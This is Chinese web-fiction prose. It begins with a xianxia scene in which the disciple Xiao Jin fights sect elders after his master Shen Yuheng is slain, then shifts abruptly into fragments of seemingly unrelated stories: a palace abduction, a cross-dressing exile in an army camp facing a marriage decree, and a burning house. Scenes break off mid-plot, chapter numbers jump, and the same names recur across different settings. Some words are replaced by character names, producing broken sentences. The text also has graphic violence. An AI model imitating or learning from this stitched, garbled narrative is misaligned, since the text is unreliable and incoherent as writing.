萧烬神色平常地走进结界,他身材颀长,肌肉也锻炼得恰到好处,绝不会被说是瘦小,可他迈步的动作却像一阵清风般无声无息,丝毫没有惊扰到一边本该负责看守结界石,却正打着瞌睡的小弟子。 他阖上眼,轻轻叹了声气。 二十余年前,他初来乍到时,仙鸣山派还没有落到如今这般田地。 萧烬还记得那时,巨大的结界石边总是站着许多年轻的少年少女,他们痴痴地杵在结界外,伸头目送着那些被门派选中,上山修炼的幸运儿。 他们每一人都双眼瞪得浑圆——进到结界里的人,眼里满是喜悦与难以自已的兴奋,而结界外的人,眼里的艳羡往往升为不甘,不论这情感多么强烈,最终都会转为疲惫的妥协。 得道升仙,何其荣幸! 与仙家无缘的凡人,多多少少都憧憬过这片绵延百里的山中门派。 而如今,三界乱世,竟是让这座千年繁盛的仙界第一门派也难逃荒败。 乱世之下,门派内有数以千计的弟子不知所踪——有的惨遭毒手,有的逃回凡界,而与萧烬实力相当的那些弟子,多数也都离开门派,另寻他处。 若非他遇见了师父,兴许此时也离开江南了。 这样想着,萧烬又将手上的酒缸子提得愈发紧了。 他那爱酒如命的师父,一定会喜欢这坛好酒的。 有人告诉他说——入秋后的第一场雨时,江南齐家酿出的桂花酒是最好的,他便特意赶在雨停前将这小小一坛香若甘露的美酒买下。 这户姓齐的人家距离仙鸣山派并不算近,而萧烬此时早已踏入元婴境界,大可御剑而行,可他担心这脆弱的土陶酒缸在空中遭鸟儿或是什么别的玩意碰坏了,只能提着它,老老实实用腿走了百里山路窄道。 为了师父,这点用心都算不上什么。 “……萧师兄!萧师兄啊!” 他闻声回头,看见一个拖着二轮拖车的小弟子追在他身后,那弟子见到萧烬止住了脚步,这才气喘吁吁地停了下来。 萧烬看向他身后拖车中坐着的一对少年——身上灵气微弱,似乎只有十岁出头的样子。 在门派如此没落时竟会有新来的弟子?倒是十分难得了。 拉车的小弟子看着这位面无表情,眼神冷漠的师兄,十分艰难地动了动唇,显然是在踟蹰着嘴边的话。 萧烬并不想在这儿多费时间,便只能主动开口:“何事?” 虽然他平淡疏远的语气算不上亲切,却给了小弟子回话的机会,他像抓住救命稻草似的,涨着一张红扑扑的脸,结巴道:“萧师兄!我们那,那仙鸣峰是在哪个方向来着……?我这一时糊涂,就,就给忘了……” 原来如此。 仙鸣山派每回纳新弟子进门,都是要派小弟子做引路人,把这些新入门的弟子送上主峰。 可这仙鸣山派里足足有九九八十一座山头,群山环绕间,又只有三座是主峰,只待了十年不到的小弟子又怎么记得住这些错杂的大小山路?但引路人不论是忘了路还是误了时候,但凡出了差错的,都是要削上好几个月的月供的。 在引路人担惊受怕般的试探眼神中,萧烬默默指向了西面,并没有要故意责难他的意思。 他俯下身,恭敬地作揖道:“多谢师兄!” 萧烬转过身去,如瀑的青丝从发冠处倾泻而下,衬着这山间升起的薄雾,更添一抹俊色。 车上托着的凡人少年仰慕地望着他的背影,轻飘飘地说:“阿蒙,那人长得可真好看,果然,做仙人是能变样子的。” “可是……哥,刚才那北面山头还有个被人追杀的仙人呢,你怎么不提那个。” 话音未落,萧烬双瞳骤张,僵硬地停住了脚上的步伐。 “那都是例外,我们今后……啊!疼……” 少年的声音戛然而止,随即转为一声惊呼。他拧紧眉毛,眯眼瞧向这只掐在自己肩上的大手,白皙纤长,却青筋暴起。 “再说一遍。” “什么?” “你说,北面的山头,有人被追杀了?” 这一字一顿,明明是说给他人听的,却像是挥起一把逆刃的刀——刀背对人,刀刃对己。 听清问题后,少年怯怯地点点头。 萧烬只觉得喉间酸涩无比。 “那人,可是穿着一身青衫白袍?” 听完,少年想了想,随即又摇了摇头。 在萧烬稍稍缓和的神色下,他歪着头补充了一句。 “血太多了,看不清萧。” 萧烬有一瞬甚至未能反应过来这一句话中的含义。 同门相残,北方山头,被追杀成血人的修士……这种种信息一股劲涌入他脑内的识海之中,萧烬竟是一时未得出一个结论来。 他一向可靠的理智此刻却停止了运转,面对如此简单的信息,它拒绝得出那唯独仅有的一个答案。 就在三人惊恐的目光下,萧烬拔出长剑,飞身一跃,御剑而去,竟将无色的空气都撕出了一弧肉眼可见的白色裂痕。 多年的御剑经验,让他足以凭借这足下方寸之地而神行千里,平平稳稳。 可他的心,却乱了。 ——怎么会? 萧烬庞大的识海中装有千百本修炼的心法,剑本,可此刻,却被这寥寥三字所难倒。 师父再怎样被那些人排挤,终归还是这仙鸣山派的一份子,也是掌门最为偏爱的弟子。虽然那位掌门自打渡劫碰壁,身子大败后,就闭关不出,再未曾露面过了,可看在他的份上,再怎样,都至少不会对他师父起杀心才对! 这个理由就算不成立,那这二十余年来,他师父给门派赠的银两又怎么说? 建学堂,修书阁,锻宝剑,哪个不是需要大动钱财的工程?掌门闭关,另两位峰主又不善经营,没有师父在凡界赚来的那大笔银两,这仙界第一门派恐是都要被人笑话囊中羞涩了。 再怎么,也不会…… 忽略耳边的阵阵嘈杂,萧烬轻抬眉眼——上青峰顶,已近在咫尺。 那悬崖峭壁的另一端,青山上,绿水间,藏着一个不大的小屋。 那是他和师父的家。 一定没事的。 只要他越过这陡峭的断崖,就会看到一个坐在崖边喝酒,身着宽袍的纤瘦男子——沈玉衡会举着他那万年不变的酒葫芦,一边听徒弟教育,一边眯起一双微醺的醉眼,对他笑说道:“没事,这儿就算掉下去,也是摔不死人的。” 眼皮一合一张,一段短暂的回忆闪过,倏又消失不见。 等他再次张开双眼,那不到半瞬的时间,萧烬脚下的长剑便覆上了一层阴影。 上面有什么东西? ——怎么可能,这可是万丈高的断崖!怎么会有东西从顶上落下! 嗖—— 他猛一抬头。就在他头顶不远处,一团模糊的影子随即被抛下这万丈深烬。 萧烬身手极好,脚下剑锋一转,再一扬手,便接住了这从天而降的“东西”。 扑面而来的腥气皱了他的眉梢,也逼得他瞪直双眼。 一向多话的沈玉衡,如今却安静地躺在他怀里,一语不发。 被血染红的宽衫从两肩滑落下来,露出了他胸口处几道最为致命的伤口。这四五道可怖的血口纵横交错,且毫不留情,每一道都将他胸口的血肉砍得皮开肉绽,血肉模糊。至于他平日里用来画符的右臂,已经难以寻到完整的皮肤,能看到的更多的,是暴露在外的森森白骨。 这还是,他第一次这样抱着师父。 不知是否是因为流去了大半血液,沈玉衡在他怀里竟轻的像一捧风,如若不抱紧他,萧烬几乎无法感受到他的重量。 萧烬想去探他的鼻息,伸出二指,才发现自己正发着抖。 他在害怕——他怕这个将他从鬼门关中救下的人,最终会撇下他先去一步。 踟蹰片刻后,萧烬抱着怀中生死未卜的人,御剑登顶,轻盈地落在了上青峰崖顶上。 萧烬双脚刚一着地,一道剑光便‘嗖’地向他射来,逼得他将身子微微一侧,又听一声清脆的碎裂声响起——他系在腰上的小酒缸子被那剑光射中,琥珀色的琼浆立刻淌了一地,散发出浓郁的香味来。 他紧皱眉梢,抬眼扫去,就看到原本只属于他师徒二人的小山头上,此刻却前前后后围满了负坚执锐的门派弟子们。 而剑光射来的方向,是一黑一白的两道瘦长身影。 白衫素带的白长卿,墨袍乌衣的项逐天。 前者是万剑峰峰主,后者是仙鸣峰峰主。 这二人,皆是沈玉衡的师兄。 若是平常,萧烬都会略带敬意地向他们俯身问好,以表同门相亲相爱之意。而此刻,他充血的双目却死死地盯着他们不放,像是一头闻了鲜血的野兽,势要怒吼着张开獠牙,撕烂他们的脖颈。 项逐天的一双凤眸微微眯起,语气轻柔和缓,甚至带有几丝担忧:“萧烬,看你的样子……应当不会是想犯什么错吧。” 萧烬并未理他,只是死盯着另一人道:“是谁下的手?” 他虽然口中在问,心里却是有答案的。 白长卿一身白衣胜雪,而这雪上,却是染满了刺眼的赤红鲜血。 白长卿看向他怀中的人,又将视线徐徐移开。 “负责讨伐逆贼的,是我们万剑峰没错。” 萧烬喃喃着这两个不可思议的字眼:“逆贼?” 项逐天颇为无奈地点点头:“勾结毒王,谋害平民,惑乱三界,虽然不可置信,但……哎,萧烬啊,你是被我这个恶性难改的师弟给骗了太久了!” 白长卿接着道:“三日以前,我们已在他的屋中搜出了证据来,我知道你不敢相信,但如今看来,是我们一直以来看错了人。” 反贼?证据? 这样一番诚恳的话,任谁听了都会心有所动,换做是别人,兴许已经开始怀疑自己是否真的跟错了师父。 但萧烬不同。 师父的屋里有什么,他再熟悉不过。两盏酒碟,三个酒缸,几张空符,除此以外,就是想找一根束发的发带,恐怕都是找不出来的。 项逐天吩咐弟子的模样落入他眼中时,一段回忆就这样被突然唤醒,点燃了萧烬的第一缕怒火。 就是项逐天,众人眼前这个温柔可亲的师兄,峰主,在一次偶遇中向他提到:“入秋后的第一场雨时,江南齐家酿出的桂花酒是最好的。” 三日前,是他前去为师父买酒,也是他们擅闯上青峰,搜集所谓的“证据”的日子。 原来,那一句看似无心的话,只是为了把他引走。 他低垂着眸,缓缓将手移至剑鞘,却又被一句沙哑的唤声拉回了神智。 怀中这具血肉模糊的身体忽然动了动,沈玉衡强忍着撕裂的疼痛,启唇唤着他的乳名:“……萧烬?” 萧烬一直凝重的脸色总算起了转变,黯淡神伤的眼神中重新焕发了光彩:“师父!” 怀中虚弱的人先是动了动,再勉强睁开那似有千斤重的眼皮,便看见自己这徒儿可怕阴沉的脸色。 沈玉衡强笑着,沙哑出声:“怎么……好像我死了似的。” “师父,身子没事吗?” 萧烬一边温柔出声,一边拔剑出鞘,那几个悄然靠近,妄图偷袭的弟子连惨叫的功夫都没有,便被拦腰斩成了两半。 沈玉衡脱力地阖上眼,轻声道:“往死里打,打完了就走,我……有些困了。” 他点点头,将怀里的人抱得更紧了一些。 萧烬那剑极快极狠,绝不是一个普通的元婴修士能掌握的实力,四周的弟子虽然大部分也已结金丹,却连萧烬出招的动作都未能看清。 他们看向萧烬的鄙夷眼神中,也不禁带上了几分恐惧。 纤指握花枝,项逐天为弟子们造起一道淡红色的弧形屏障,转而对萧烬劝道:“为了一个叛徒而同门相残,萧烬,你这又是何必呢?我们同为仙家中人,你若心系门派,理应一同讨伐罪人才对。” 巨大的灵气屏障一建起,就壮起了弟子们的胆子来,他们纷纷开口附和,为他们温柔大方的峰主撑腰。 “要不是他,我们天下第一仙门何以落得今天这般田地!” “就是就是!要不是他,我们怎会……” 嗖—— 饱含着死亡气息的剑风声再次响起,让众人造势的吵闹声戛然而止。 保护着他们胡言乱语的强大结界,顷刻间就被一劈为二,随即就化为一阵尘埃,飘入了他们四周的山雾之中。 项逐天故作无奈地摇了摇头,小而上翘的眼角中漏出一丝隐藏已久的厉色。 “看来,萧烬是要执意犯错了。” 项逐天一声号令,数百鼎高阶法器升上天空,一时竟是有遮天蔽日之景,另外数千金丹弟子扬起长剑,向着崖边相依的两道孤瘦人影全力斩去。 …… 他撑了多久? 萧烬只知道自己挥剑的动作从未停过,无数影子向他一同袭来,无数剑锋向他的脖颈一齐刺来。每一个人都想要他的命,却全都被斩得血肉飞溅。 金丹修士们败下后,项逐天的弟子们亲自上阵,这一回,皆是与萧烬相同境界的修士了。以一敌百,他勉强相抗,虽是护住了怀中的人,却无法将自己也顾及周全。 一些他无暇抵挡的剑招,他只好咬牙承受,久而久之,足以让他分神的伤口愈来愈多,他身上没有沾上血污的地方也变得屈指可数了。 在气力将近时,一股陌生的力量攀上了他的脊梁,将一切变得轻松了许多。 …… 又过了很久。 萧烬终于找回了自己的知觉,鼻息中,满是浓稠的血腥气味。 在无数凄冽的哭号声中,终于有人大喊:“……是魔族!快!快把问天楼的人喊来!” 恍惚间,萧烬并没有意识到魔族是在叫谁,他只觉得没有人再向他挥剑,应当是到了安全的地方才对。 他未抬头,不知天上已是血光冲天,赤云盘绕。杂草蔓生的小小山头,早已化作一片尸山炼狱。 “师父。” 轻轻晃了晃怀里的人,却没有得到预想中的回应。 良久的沉默后,他颤着手,碰了碰他已然冰冷僵硬的面颊。 沈玉衡倚在他怀里,轻的像一捧风,吹之即散,于这人间,再玉衡愁。 然而迎面出现的,却是与他平视的,苏澄那双原本秀气温和,却在此时彻底遁入漆黑的眼睛。 他手里一把锋利的刀子,轻松桎梏住臂弯里,一个脖颈颤抖的护卫。 苏澄看着沈玉衡惊讶愕然的表情,嘴角抽搐着,笑了。 他猛地闯入门中,当着沈玉衡的面一刀割开了那人的脖颈。鲜血顿时喷溅一地,场面极为骇人。 刚刚还带给沈玉衡最后一丝希望,一线生机的人,就这样静悄悄血淋淋地死去了。 苏澄将那人的尸体扔在地上,嫌弃又憎恶地擦了擦手,同时慢慢靠近沈玉衡…… “沈妃,你为什么就不能相信我呢?” 苏澄轻轻抚摸他的脸颊,那一瞬间,沈玉衡感到一阵快而短促的疼痛。 第 93 章 第 93 章 93 尖利的细针抽离皮肤,带出几滴鲜血,沈玉衡紧接着就有些站不稳,大脑在晕眩中浮出四个字—— 怎么又来! 针刺入身体的东西不知道是迷药还是什么别的,一扎进去他的眼睛就黑了,往前跪的时候才发现自己膝盖都软了。 苏澄接住了迎面倒下的他,把人抱去屋里藏起来后,才去处理外面那具尸体。 刚刚忙完,门外就传来一阵急促的敲门声…… 沈玉衡回药房后,下午就没再去伤兵营。 被调到药房后,伤兵营的很多活都不需他再做,吃完饭没事,他去药庐帮徐阿婶煎了会儿药。 胡郎中一直没回来,到了晚上,才听去询问消息的胡圆儿回来说,对方被陈将军叫去了,连同中午刚醒的那个人一起。 “肯定是问粮草被劫的事,我爷爷跟着过去看看,估计要不了多久就能回。”胡圆儿脆生生道。 沈玉衡心中权衡,他不想回女眷营帐那边休息,一是不方便,烬是他毕竟是男扮女装,不是真正女子,能不住那边,还是尽量不住那边比较好。 于是他借口还有药方没抄录完,留下陪胡圆儿一起等。 然而直到深夜,燃着的油灯只剩豆大火光,胡圆儿也趴在桌上睡着时,胡郎中才带着一身寒气从外面进来。 抬头见沈玉衡这么晚还没回去,他显然有些惊讶。 沈玉衡搁下笔起身,指指趴在桌上睡着的胡圆儿,微笑解释:“胡圆儿说你一会儿就回来,正好我还有些药方没抄,就陪他一起等了等,没想到……” 说着,他看一眼外面的黑夜,意思是自己也没想到会等这么晚。 胡郎中顿时明白,叹道:“这小子,说着等我,自己倒先睡了。” 然后对沈玉衡感谢道:“有劳你了。” 他以为沈玉衡是因胡圆儿年纪小,不放心他一个人,才陪着一起等,把孙子抱进隔间后,出来又是一番谢。 沈玉衡摇头表示不用,虽然确实有几分不放心胡圆儿一个人,但也有私心。 胡郎中这时叹气,又道:“你没走也好,我正想跟你说个事,今天陈将军把刚醒的那个伤兵叫去问话,顺便把我也叫去了……” 沈玉衡没想到他会主动提及此事,不由顺着话道:“我听胡圆儿说,是问之前粮草被劫的事。” 接着迟疑:“可是那人被用了刑,伤又加重了?” 毕竟胡郎中此刻的神情看着不太好。 胡郎中摇头,道:“倒是没用刑,而是……” 他语气似乎斟酌了一下,才继续:“这个人他失忆了。” 失忆?沈玉衡离开伤兵营时,手里端着一碗张虎硬塞给他的饭菜——是营中专门给伤兵提供的。 军中伙食一般,最好的是伤兵伙食,其次是普通士兵,最差的,是他们这些罪眷的伙食。 比如伤兵的伙食里偶尔会有细面馒头,普通士兵有粗面饼,到了罪眷,就只有粗粝到刺嗓子的粗饼。 不过好的伙食,自然限量供给,只有住在伤兵营里的伤兵才能领,且每人每天限一份,其他时候也是粗面饼。 张虎塞给沈玉衡的这份,显然是他替张河领的。因张河只能喝清粥,这好饭平时就被张虎和几个弟兄瓜分了,张河平日只能眼巴巴在旁看着。 但今天赶巧遇见沈玉衡,张虎想感谢,又囊中羞涩,一时拿不出像样的东西,就巴巴把这份饭菜先硬塞给他,说下次再送别的。 沈玉衡摇头失笑,拒绝不了,只能收下。 不过,从被流放开始,除了上次在胡郎中那,他确实很久没吃过像样的食物了,尤其这份饭菜里还有两片肉。 还有徐阿婶,对方一直帮他许多,她女儿在流放来的路上生病,现在小姑娘瘦瘦小小,也需吃些好的。 想到这,沈玉衡脚步忽然轻快,心情有种还在父亲身边时才有的难得轻松。 他一路来到药庐,看见挨在徐阿婶身旁的那团小身影,不由笑了笑,喊:“小阿云!” 小阿云倏地回头,看见他,瞳仁瞬间露出惊喜,忙起身跑过来喊:“沈姐姐。” 沈玉衡揉揉她的头,领着她一起走回徐阿婶旁边。 徐阿婶见他特意端了好的饭菜来给她和女儿,不由吃惊,连连拒绝:“使不得,女郎你这么瘦,又大病未愈,每日还要给那些伤兵看伤,劳心劳力,应该自己吃才是。” 见她实在不愿要,沈玉衡只好说:“那就一起吃吧。” “啊?”徐阿婶愣住。 最后三人一起用饭,沈玉衡将一片肉喂给小阿云,看着小姑娘迫不及待吞咽,高兴得眉眼弯弯,仿佛这是此生欢喜的事,他不由也跟着轻笑,神情短暂露出他这个年纪该有的样子。 正吃着,忽然负责管理流放罪眷的官兵过来,粗声粗气喊:“都起来站好,去伙房把那边的罪眷也喊来。” 轻松气氛转瞬即逝,沈玉衡和徐阿婶对视一眼,缓缓站起身。 徐阿婶将手在衣襟上擦了擦,上前堆笑问:“官爷,可是有什么要事?” “去去!急什么?等会儿就知——”对方立刻挥手驱赶,但看见旁边的沈玉衡,又一顿,最后放下手,缓几分语气道,“等会儿你们就知道了。” 罪眷被调到哪干活,都需经此人的手,显然胡郎中调走沈玉衡的事,他十分清楚。 不过即便如此,这人也没客气太多。 沈玉衡隐隐有不好的预感,果然,人到齐后,这人拿出一份公文,高声道:“这是新到任的郡守大人刚发的公文,之前那位郡守老爷允许婚配令的期限可再拖延半个月的事不算数了,从今天开始,所有适龄罪眷,都需在朝廷规定的期限内婚配……” 沈玉衡还未听完,心头就笼上一层阴云,周遭女眷也一片哗然。 之前他没急着第一时间解决婚配令,一是这事实在不好解决,烬就是今年雍州郡守允许延期半月。 他本想延期半月,父亲的旧部也许就能找来。且梦中西北防线差不多就在不久后被攻陷,也就是说,过不了多久,胡人可能南下,届时没人会再功夫管婚配令。 但雍州竟忽然换郡守了,梦中有这回事吗?沈玉衡不知道,梦中并非事事都能梦得清楚,醒来后,也并非全都能记得。 且梦中此时他已经逃出军营,不仅要躲避官兵,还因风寒没好就强撑逃离,病得厉害,根本无从得知换郡守的事。 眼下按新郡守的公文,原本被延到烬十五天后的期限,一下又变回十天后。 十天,这么短的时间,等父亲的旧部肯定来不及,还有什么办法能解决?难道真要像徐阿婶说的那样—— 他下意识抬头,就见徐阿婶和小阿云也正担忧望着他。 徐阿婶已经过了年龄,小阿云又太小,两人不在范围内,都不必担忧,只是替沈玉衡发愁。 在场其他适龄的女眷,也都露出焦急彷徨的神情。有家人在身边的,已经开始商量要抓紧相看。 “要不还是像我上次说的,先相看个厉害的武官……”徐阿婶迟疑,见沈玉衡神色凝重,又渐渐消声。 沈玉衡勉强朝她笑了一下,道:“我再想想。” “哎。”徐阿婶猜他现在肯定心乱,也不多打扰。 实际上,沈玉衡并未心乱太久。 他很快调整好心态,冷静权衡,最终咬牙决定,选择徐阿婶说的办法。 眼下这么短的时间,确实先找个人把婚礼办了最稳妥,而且要快。 不然蒋百夫长横插一竿,万一被迫要和对方成亲,到时无论怎么解决,他身份都有极大的暴露风险。 倒不如他自己找个稳妥的人,先把婚配令应付过去。只是一两个月,先把眼下难关度过再说。 只是成亲的人选,还需好好斟酌。 沈玉衡心事重重地离开药庐,一路都在皱眉凝思。 回到药房,胡郎中竟也知道这事,跟徐阿婶一样,替他发愁。 若是别的事,他或许还能帮上些忙,但这婚配令是朝廷命令,新任郡守下的公文,他一个小小的军中郎中,能改变什么? 唉,小女郎这样好的人,偏偏有个罪眷身份。 胡郎中遗憾,斟酌着开口:“要不这样,你若有意相看,我可给你介绍几个。放心,都是知根知底的青壮大小伙子,有的还是伍长、什长,甚至百夫长哩。” 尤其当中有一个还是他的子侄。 胡郎中红着老脸,一阵咳嗽掩饰。 沈玉衡愣住,没想到他也给自己牵起线,不由哭笑不得。 虽然感谢对方的好意,但他还是委婉谢绝了。 胡郎中似乎有些遗憾,道:“你若改变主意,就再跟我说。” 顿了顿,又补充:“若有什么难处,也可跟我说,也许我能帮上些忙。” 沈玉衡点头感谢。 沈玉衡闻言愣住,随即想起那人刚醒时神情空茫,之后又一直盯着他看,顿时有些明白。 难怪对方醒来后,反应如此奇怪,原来是失忆了。 听说有些鸟雀刚破壳时,因对世间一无所知,会对见到的第一个动物产生好感。想来这个失忆的人也跟鸟雀一样,只是因醒来后看见的第一个人是他,才一直盯着看罢了。 不过胡郎中说这些,目的肯定不是单纯要告诉他,对方失忆了,莫非…… 果然,胡郎中很快道:“陈将军希望他能想起,让我给他治疗,但我没治过失忆的人,实在无从下手。你看,你有没有这方面的经验,能试着给他看看?” 沈玉衡闻言迟疑了,他也没治过失忆的人,不过…… “只是先试试看,不必担心治不好,我看陈将军其实也没抱什么希望。且你只是帮我,若治不好,我去跟陈将军说就行。”胡郎中见他犹豫,又补充一句。 沈玉衡这才点头:“那我就试一试。” 接着目光微动,借机又道:“但治疗失忆,需时常过去给他针灸,女眷营帐离这边较远,我能否以后就住药房,这样来回也方便一些?” 胡郎中正想说今天已晚,问他要不要在药房将就一晚,没想到他先开口,且还是要以后都要住这边,忙道:“妥,妥!你尽管搬就是,我让人在药房的里间放一张木板床。” 药房跟他们爷孙俩的住处只是连着,并不是同一处,不必担心小女郎住在这,于名声有碍。 且他先前就觉得女眷营帐太冷,离伤兵营这边又远,万一有个急事,深夜去喊小女郎来,也不方便。 只是对方毕竟是小女郎,非是男子,他先前不好开口说这些。没想到沈玉衡主动提出要般过来,他自是欣然说好。 沈玉衡见他同意,也微松一口气,觉得总算可以从女眷营帐搬出来了。 刀尖抵上苏澄咽喉时,那人喉结在他掌心颤动,竟像在笑。 他已经疯了! 系统飞快计算着火势和生存概率,给他指了身后一扇门:【宿主!走那里!可以活下去的!】 沈玉衡想跑,却又被苏澄一把拽住:“你想去哪儿?别走!” 他的力道大到沈玉衡险些挣脱不开。 本来还想救他一起出去的。 混乱的挣扎中,他好不容易才推开苏澄,男人倒在地上,一时没站起来。 沈玉衡总算找到机会逃跑,他冲到门边,脆弱的木板却在那一刹那轰然坍塌。 火舌如潮水倒灌进来。 第 94 章 第 94 章 94 听说萧烬人已经在沈府大门前了,沈听澜觉得他简直是来找骂的。 两人刚一见面,难听的话还没来得及说,就看萧烬顶着一副死了人的恐怖表情,质问:“苏澄呢?人带过来了没有?” “苏澄?他怎么了?”沈听澜不明所以,身后却幽幽传来一个小侍女的声音:“那边儿是怎么了?好像是走水了……” 萧烬朝那个方向看了一眼,黑夜里红光漫天,有黑烟缓慢翻涌入云海。 他脸色剧变:“走!” 等到车马急急赶赴苏家宅邸前,四四方方的宅邸内已经火光冲天,热浪裹挟着呛人的浓烟滚滚袭来。 沈玉衡回药房时,顺路去管理罪眷的军吏那,将要成亲的事上报。 军吏姓曹,正是之前宣读文书的那位,听沈玉衡说要跟萧烬成亲,拿笔的手明显顿了一下。 他显然是蒋百夫长的人,再三确认问:“跟谁?” “萧烬。”沈玉衡神情平静,一字一字重复。 曹军吏神情古怪,又看他几眼,碍于旁边还有其他人在,才勉强落笔,将两人名字记下。 沈玉衡看着他写完,才转身离开。陈将军之后又提拔数名在大比中表现不错的士兵,多是提为伍长、什长,也有不少被赏了银钱的。 奖赏完毕,萧烬与众人一同跪谢。等起身退下,他便迫不及待往校场外沈玉衡的方向走。 陈将军笑吟吟捋了捋短须,问胡郎中:“那位就是沈姑娘?” 胡郎中往校场外看一眼,忙点头说“是”。 陈将军感叹:“还真是郎才女貌。”蒋百夫长那边倒是瞬间欢呼。 沈玉衡微微蹙眉,也没料到会是这个结果。 他目光重新看向高台,几乎不用猜也知道,定是蒋百夫长的哥哥——蒋和从中作梗。 只是一场大比的头名,蒋百夫长想要就罢了,毕竟他跟萧烬打了赌。但没想到,蒋和也这么想让弟弟拿下头名,莫非有其他目的? 不过也无妨,他本来就计划让萧烬在第三场赢。第烬场能赢,是惊喜,赢不了,也不影响最终结果。 只是,如果蒋和一定要让蒋百夫长拿头名的话,那第三场的阻碍恐怕会比预料中的大…… 正想着,萧烬已经骑着马回来。 他神情显然有些蔫,翻身下马后,也垂着头,蔫哒哒,抿唇站在沈玉衡面前。 “对不起,”他低头丧气,“我没赢。” 他不该去射蒋铳的箭,早知道,只射红圈最中心的位置就行了,还更简单些。 沈玉衡感觉他就像垂头丧气,受了委屈的狼犬。 他不由笑了笑,抬手轻抚对方的冰冷头盔,像抚摸梦里养过的一只乖顺的狼犬,道:“不怪你,是他们耍手段。” 蒋校尉说是平局,那他们底下的小兵就算不平,也改变不了什么。 萧烬也明白,但还是觉得让沈玉衡失望了,咬紧牙保证:“第三场我一定会赢。” “嗯。”沈玉衡认真点头,看着他说,“我相信。” 萧烬这才稍松一口气,随即后知后觉地意识到,沈姑娘的手正贴着他的头盔,若没有这层铁皮,对方岂不是正……抚摸他的头? 刷地,萧烬的耳根忽然红透。 “对了。”沈玉衡忽然抽回手,想了想,下决心从袖中拿出一个荷包样式的灰布袋,塞到萧烬手中,“这个你先带在身上。” 萧烬正因他抽回手失落,闻言不由攥紧荷包,问:“这是什么?” “一串佛珠,保佑你能赢,等回来后再还给我就行。”沈玉衡说,又叮嘱,“千万别打开看。” 梦中他几度落险,再艰难的时候,都带着这串父亲送的佛珠,最终化险为夷。也许冥冥之中,这串佛珠真能保佑人,他希望这次也能保佑萧烬,更保佑他,不必嫁给蒋百夫长。 “……噢。”萧烬闻言,方才刚高兴起来的心,又因他说还得还,微微有些失落。 原来不是送给他了啊。 一时心情升了落,落了又升,升了又落,分外起伏。 其实他之前就注意到了,这个萧烬每次一比完,就迫不及待往那个小女郎方向走。 “这个沈姑娘就是我之前跟您说的,擅长给伤兵缝合伤口的人。”胡郎中赶紧趁机夸道。 “哦?”陈将军顿时提起兴趣。 校场外,萧烬疾步走向沈玉衡,但真站到对方面前,雀跃的心却渐渐变得紧张。 他不安地摸向心口位置,蒋百夫长那一刀力道不小,佛珠肯定被扎坏了,他有些不敢拿出来。 沈玉衡不知他忐忑,见他走来,忍不住上前,笑着要说恭喜,却忽然一阵刺骨寒风吹来,从袖口领口灌入。 他瞬间冷得打颤,许是在校场吹了一天寒风的缘故,加上一直提着的心放下,整个人松懈下来,他上前一步时忽然有些失力,被冷风一吹,更感到骨缝里渗出一阵寒意,像要将骨头血管都冰封。 天际夕阳已坠下山头,留下最后一抹冰冷余晖。 沈玉衡一时冷得蜷紧身体,下意识抱紧双臂,很快发颤到说不出话,就像寒毒发作时那样。 萧烬立刻发觉他异常,顾不得再想佛珠的事,急忙一把扶住他。 “沈姑娘,你怎么了?”他语气紧张急切。 沈玉衡被他扶住时,便支撑不住似的,依靠着他蹲下,将自己抱紧蜷缩,打着颤道:“冷……” 冷? 萧烬一愣,忙想脱下衣服给他披上,可一看自己身上的甲衣,实在不是能保暖的衣物。 倒是徐阿婶赶紧解下一件外袍,披在沈玉衡身上,焦急问:“哎,这是怎的了?风寒又加重了?” 她试图将人扶起来,赶紧搀回去,却发现沈玉衡在不住打颤,眼睛也紧闭,根本扶不起来。 “这、这……”徐阿婶一时被难住。 忽然,萧烬弯腰,将正在发抖的沈玉衡横抄进怀里,起身疾步往药房走。 除了要上报,成亲也需置办一些东西。哪怕婚礼办得再简陋,也不等于不办。 所以,总归会走漏消息,瞒不住蒋百夫长。 不过,对成亲要置办什么,沈玉衡却没经验,少不得要去向徐阿婶询问。 徐阿婶知道他要嫁给萧烬,仔细想了半晌,才想起是之前一直躺在伤兵营帐角落里的那个血糊人。 她不禁又替沈玉衡忧心,虽说那人长得倒是俊俏,和女郎样貌般配,但也太穷了。 听说他不久前刚醒,一个家人都没有……确切说,是连个家都没有,只有个军户名头,估计连办婚礼的钱都拿不出,女郎嫁给他到底图啥? 且这人之前伤成那样,又昏迷多日,差点死去,会不会身子骨虚?万一蒋百夫长来找麻烦,能扛得住揍吗? 再者,这身体虚,万一到了洞房那日也不争气…… 徐阿婶是过来人,知晓女子最怕嫁错郎,且有些话不好在外面说,忙拉沈玉衡回女眷营帐,找个安静角落,压低声音把担忧说出来。 沈玉衡听得一阵尴尬,他又不打算跟萧烬洞房,对方行不行,跟他倒是没什么关系。 不过依他看,萧烬的体魄应该不差,之前对方昏迷,他给对方换药时,就看过上半身,还戳过那片紧实的线条。今天不小心抓住对方手臂时,也能感受到精悍有力。 按梦中那位游医的说法,这样的身材,一定是练武行家。譬如那手臂,握着时跟铁似的,平时不知拿什么练出来的,估计单臂抱起像沈玉衡这样偏瘦的男子都不成问题。 也难怪那天他只用刀鞘横击,就能将蒋百夫长的那两名手下打得不住后退,险些摔倒。 沈玉衡多少是有些羡慕的,他虽在父亲教导下,自幼就避着看守的耳目,在室内扎马步锻炼,但到底因寒毒坏了身体,在习武这件事上一直没什么成就,甚至连健康的体魄都没有。 梦中也是后来得了游医教的吐纳法,身体渐有好转,才拾起些功夫。不过因寒毒一直没根除,只能使些巧劲功夫。 这辈子他倒是练吐纳法练得早,不知会不会比梦中的情况好。他也不指望能成萧烬那样,但起码要能正常上马杀敌才行。 说到萧烬,徐阿婶有一点倒是担心得很对,对方伤还没好全。要参加军中大比,少不得要先把伤养一养。 不指望能这么短时间就完全养好,但起码也要养好个七八成。 沈玉衡心中思量着,问完成亲要准备什么后,便辞别徐阿婶,先回去备些补药,还向胡郎中赊了小半根人参。 胡郎中得知沈玉衡要嫁给萧烬,愣了一下,虽也觉得萧烬穷,但很快就大夸特夸,直说萧烬这人厚道,知恩图报。 毕竟这种境况下,敢跟沈玉衡成亲的,真没几个。 他心里那股不详的预感很快成了真。 萧烬不知道从哪儿拿出一把刀子,塞到沈玉衡手里,冰冷的金银闪闪烁烁……竟然是岳枫当初留下的那把刀。 少年的呼吸粗重,强烈的悲伤下又透着一种要燃尽一切的渴望:“母妃既然见不得朕杀人,朕也有办法……” 他按着沈玉衡的手指曲起来,握紧刀柄。 “母妃用它杀了朕,好不好?”萧烬的手按在自己的心脏,握着他的手往那里伸:“把朕杀了,再也没有人会因朕而死……” 